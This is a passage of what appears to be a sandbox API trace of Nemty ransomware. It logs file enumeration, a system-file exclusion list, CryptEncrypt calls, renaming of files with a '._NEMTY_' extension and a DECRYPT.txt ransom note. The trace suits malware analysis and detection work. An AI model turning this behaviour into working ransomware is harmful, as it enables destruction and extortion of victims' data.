dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0097.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94158, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0097.844] CloseHandle (hObject=0xffffffff) returned 0 [0097.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f942c8 [0097.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0097.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0097.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94330 [0097.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346d60 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.844] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx._nemty_kgobjgd_")) returned 0 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0097.844] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2f65bb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd2f65bb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2f65bb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0097.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0097.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0097.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0097.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0097.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0097.844] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0097.845] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0097.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0097.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0097.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f940f0 [0097.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0097.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.846] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2f65bb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd2f65bb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2f65bb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0097.846] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0097.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0097.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0097.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0097.846] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2=".") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="..") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="...") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="windows") returned -1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="$RECYCLE.BIN") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="rsa") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="NTDETECT.COM") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="ntldr") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="MSDOS.SYS") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="IO.SYS") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="boot.ini") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="boot.ini") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="AUTOEXEC.BAT") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="ntuser.dat") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="desktop.ini") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="CONFIG.SYS") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="RECYCLER") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="BOOTSECT.BAK") returned 1 [0097.846] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="bootmgr") returned 1 [0097.847] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="programdata") returned 1 [0097.847] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="appdata") returned 1 [0097.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0097.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="soniccolorconverter.ax", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0097.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="soniccolorconverter.ax", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="soniccolorconverter.ax", lpUsedDefaultChar=0x0) returned 22 [0097.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0097.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="soniccolorconverter.ax", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0097.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="soniccolorconverter.ax", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="soniccolorconverter.ax", lpUsedDefaultChar=0x0) returned 22 [0097.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0097.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0097.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0097.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="soniccolorconverter.ax", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0097.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="soniccolorconverter.ax", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="soniccolorconverter.ax", lpUsedDefaultChar=0x0) returned 22 [0097.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0097.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0097.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="soniccolorconverter.ax", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0097.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="soniccolorconverter.ax", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="soniccolorconverter.ax", lpUsedDefaultChar=0x0) returned 22 [0097.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0097.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f916e8 [0097.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0097.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0097.847] Sleep (dwMilliseconds=0x5) [0097.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xedf95610, dwHighDateTime=0x1d561e7)) [0097.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xedf95610, dwHighDateTime=0x1d561e7)) [0097.857] GetLastError () returned 0x12 [0097.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.857] GetLastError () returned 0x12 [0097.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0097.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0097.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0097.857] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0097.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0097.857] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="+zYP1Qp3L6KtOqz9uXOZ9saH90AwWOCQniMVex0OHrcOYTovIiSyOCosB1dcAsUX\r\ni7rexwbiWaTqawLk5qY5WHrMQeRAVZbKR/zgRbJZh1b2fyrVbrOPS4CJcFrKvuwe\r\nC3f+wsDUcvSHMYh9gfaWCgwsTTbTj+o8/p/arx/n8WpSkLyYSV9Yklv32lEn9cbf\r\n9xpbfqP3IoPU1hd3cheLqfYGoqR6mtbg8nk+3IuB0JlQdoOj+5ChwbZ7n+QiXx6M\r\ndNtaTqkp07gTQ0QXBrqjrEPP1znfSjPKh1+HMs4rBknRo4zdZdNOxOS/k8h5Mxsf\r\nq1MZZKkApmr4nep/W/4TFg==\r\n", pcchString=0x653f2dc) returned 1 [0097.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0097.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0097.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0097.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0097.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0097.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0097.857] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.858] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0097.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0097.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.867] ReadFile (in: hFile=0xffffffff, 